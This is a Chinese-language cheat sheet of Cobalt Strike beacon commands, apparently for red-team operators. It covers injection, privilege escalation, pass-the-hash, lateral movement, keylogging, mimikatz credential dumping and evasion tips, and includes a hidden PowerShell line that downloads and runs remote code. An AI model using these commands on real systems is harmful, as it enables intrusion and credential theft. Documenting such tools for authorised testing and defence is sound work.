关于 Cobalt Strike 功能的一些笔记和示例
关于 Cobalt Strike C2 框架的通用笔记与建议。
简而言之,可塑 c2 配置文件是一个配置文件,它定义了 beacon 在执行模块、生成进程和线程、注入 dll 或访问磁盘和内存时如何通信和行为。不仅如此,它还配置了载荷流量在 pcap 上的外观、通信间隔和抖动等。
自定义可塑 c2 配置文件的巨大优势在于,我们可以配置和定制载荷以匹配我们的情况和目标环境,这样我们就能融入环境的流量中,从而更加隐蔽。
## Aggressor 脚本
Aggressor Script 是内置于 Cobalt Strike 3.0 及更高版本中的脚本语言。Aggressor Script 允许你修改和扩展 Cobalt Strike 客户端。这些脚本可以在现有模块上添加额外功能,或创建新模块。\
[Aggressor Script 教程](https://download.cobaltstrike.com/aggressor-script/index.html)
## 常用命令
- **help:** 列出可用命令。
- **help \<module>:** 显示所选模块的帮助菜单。
- **jobs:** 列出 beacon 正在运行的作业。
- **jobkill \<id>:** 终止所选作业。
- **run:** 使用 Win32 API 调用执行操作系统命令。
- **shell:** 通过生成 "cmd.exe /c" 执行操作系统命令。
- **powershell:** 通过生成 "powershell.exe" 执行命令
- **powershell-import:** 在当前 beacon 进程中导入本地 powershell 模块。
- **powerpick:** 在不生成 "powershell.exe" 的情况下执行 powershell 命令,仅使用 .net 库和程序集。(绕过 AMSI 和 CLM)
- **drives:** 列出当前系统驱动器。
- **getuid:** 获取当前用户 uid。
- **sleep:** 设置 beacon 回连的间隔和抖动。
- **sleep 用法:**
sleep [time in seconds] [jitter]
即
sleep 5 60 sleep 120 40 ...
- **ps:** 列出进程。
- **cd:** 切换目录。
- **cp:** 将本地文件复制到另一个本地位置。
- **download/upload:** 下载文件并上传本地文件。
- **download/upload 用法:**
download C:\Users\victim\Documents\passwords.csv upload C:\Users\S1ckB0y1337\NotMalware\youvebeenhacked.txt
- **cancel:** 取消文件下载。
- **reg:** 查询注册表。
## 利用
- **browserpivot:** 将劫持 Internet Explorer 的 Web 会话,使我们能够以受害者浏览器的身份浏览网页,包括其会话、Cookie 和保存的密码。
- **dcsync:** 使用 mimikatz 执行 DCsync 攻击。
- **dcsync 用法:**
dcsync [DOMAIN.fqdn] [DOMAIN\user]
即
dcsync CORP.local CORP\steve.johnson
- **desktop:** 在 beacon 进程中注入 VNC 服务器,并获取目标的远程桌面视图。
- **desktop 用法:**
desktop [pid] [x86|x64] [high|low]
即
desktop 592 x64 high desktop 8841 x86 low
:exclamation: high/low 参数用于指定会话的质量。
- **dllinject/dllload:** 将反射式 DLL 注入进程/在当前进程上加载 DLL。
- **execute-assembly:** 完全在内存中加载并执行 .NET 编译的程序集可执行文件。
- **execute-assembly 用法:**
execute-assembly [/path/to/local/.NET] [arguments]
- **inject:** 在指定进程上注入 beacon 载荷,并在其安全上下文下生成新的 beacon 会话。
- **inject 用法:**
inject [pid] [x86|x64] [listener]
即
inject 9942 x64 Lab-SMB inject 429 x86 Lab-HTTPS ...
- **kerberos\*:** 操作 kerberos 票据。
- **ppid:** 为任何后渗透子进程生成任务伪造 beacon 的父进程。这样我们就能隐藏恶意的后渗透任务。
- **psinject:** 向指定进程注入并使用 powerpick 的功能执行命令。\
:notebook: 通过 **powershell-import** 导入的 Powershell 模块可用。
- **runu:** 在伪造的进程 PID 下运行命令。
- **shinject:** 将 shellcode 注入另一个正在运行的进程。
- **shspawn:** 创建一个新进程并向其中注入 shellcode。
- **shspawn 用法:**
shspawn [x86|x64] [/path/to/my.bin]
即
shspawn x64 /opt/shellcode/malicious.bin
## 权限提升
- **elevate:** 包含多种利用内核漏洞和 UAC 绕过将权限提升至 Administrator 或 SYSTEM 的方法。
- **elevate 用法:**
elevate [exploit] [listener]
即
elevate juicypotato Lab-SMB elevate ms16-032 Lab-HTTPS ...
- **getsystem:** 尝试模拟 SYSTEM 权限,如果失败,我们可以使用 steal_token 从以 SYSTEM 身份运行的进程中窃取令牌。
- **getprivs:** 与 metasploit 的功能相同,启用当前令牌上所有可用的权限。
- **runasadmin:** 尝试使用本地内核或 UAC 绕过漏洞,在 Administrator 或 SYSTEM 的提升上下文中运行命令。与 elevate 的区别在于它不会生成新的 beacon,而是在新上下文中执行我们指定的应用程序。
- **runasadmin 用法:**
runasadmin [exploit] [command] [args]
即
runasadmin uac-token-duplication [command] runasadmin uac-cmstplua [command]
## 横向移动
- **socks:** 启动一个 socks4a 代理服务器并监听指定端口。可通过 proxychains 或 redsocks 等代理客户端经该代理服务器进行访问。
- **socks 用法:**
socks [port]
即
socks 9050
:exclamation: 这要求你的 /etc/proxychains.conf 已配置为与指定的端口匹配。如果在 Windows 上操作,你的 proxychains.conf 文件可能位于 %USERPROFILE%\.proxychains\proxychains.conf、(SYSCONFDIR)/proxychains.conf 或 (Global programdata dir)\Proxychains\proxychains.conf。
- **covertvpn:** 在当前系统上部署一个 VPN,将创建一个新接口并将其合并到指定的 IP。使用它,我们可以利用本地接口访问内部目标网络,就像我们通过路由器建立真实连接时一样。
## 横向移动
- **portscan:** 对特定目标执行端口扫描。
- **portscan 用法:**
portscan [ip or ip range] [ports]
即
portscan 172.16.48.0/24 1-2048,3000,8080
上述命令将扫描整个 172.16.48.0/24 子网的 1 到 2048 端口、3000 端口和 8080 端口。该命令同样可用于单个 IP。
- **runas:** runas.exe 的封装工具,使用凭据即可以其他用户身份运行命令。
- **runas 用法:**
runas [DOMAIN\user] [password] [command] [arguments]
即
runas CORP\Administrator securePassword12! Powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.50.90:80/filename'))"
- **pth:** 通过提供用户名和 NTLM 哈希,你可以执行 Pass The Hash 攻击,并将 TGT 注入当前进程。\
:exclamation: 此模块需要管理员权限。
- **pth 用法:**
pth [DOMAIN\user] [hash]
pth Administrator 97fc053bc0b23588798277b22540c40d pth CORP\Administrator 97fc053bc0b23588798277b22540c40d
- **steal_token:** 从指定进程窃取令牌。
- **make_token:** 通过提供凭据,你可以在当前进程中创建模拟令牌,并以被模拟用户的上下文执行命令。
- **jump:** 提供一种简单快捷的横向移动方式,使用 winrm 或 psexec 在目标上生成新的 beacon 会话。 \
:exclamation: **jump** 模块将使用当前的委派/模拟令牌在远程目标上进行身份验证。 \
:muscle: 我们可以将 **jump** 模块与 **make_token** 或 **pth** 模块结合使用,快速“跳转”到网络上的另一个目标。
- **jump 用法:**
jump [psexec64,psexec,psexec_psh,winrm64,winrm] [server/workstation] [listener]
即
jump psexec64 DC01 Lab-HTTPS jump winrm WS04 Lab-SMB jump psexec_psh WS01 Lab-DNS ...
- **remote-exec:** 使用 psexec、winrm 或 wmi 在远程目标上执行命令。\
:exclamation: **remote-exec** 模块将使用当前的委派/模拟令牌在远程目标上进行身份验证。
- **remote-exec 用法:**
remote-exec [method] [target] [command]
- **ssh/ssh-key:** 使用密码或私钥通过 ssh 进行身份验证。适用于 Linux 和 Windows 主机。它为你提供基本的 ssh 功能以及一些额外的后渗透模块。
## 数据窃取
- **hashdump:** 转储本地 SAM 配置单元的 NTLM 哈希。这仅转储本地计算机用户凭据。
- **keylogger:** 将捕获指定进程的击键并将其保存到数据库中。
- **keylogger 用法:**
keylogger [pid] [x86|x64]
即
keylogger 8932 x64 keylogger ...
此命令也可以在不指定参数的情况下使用,以生成一个临时进程并将键盘记录器注入其中。
- **screenshot:** 将捕获当前进程的屏幕并将其保存到数据库中。
- **screenshot 用法:**
screenshot [pid] [x86|x64] [run time in seconds]
即
screenshot 1042 x64 15 screenshot 773 x86 5
- **logonpassword:** 在当前机器上执行众所周知的 mimikatz **logonpasswords** 功能。此功能当然使用了进程注入,因此并非 OPSEC 安全,请谨慎使用。
- **mimikatz:** 你可以执行 mimikatz 的任意功能,不包含 mimikatz 驱动功能。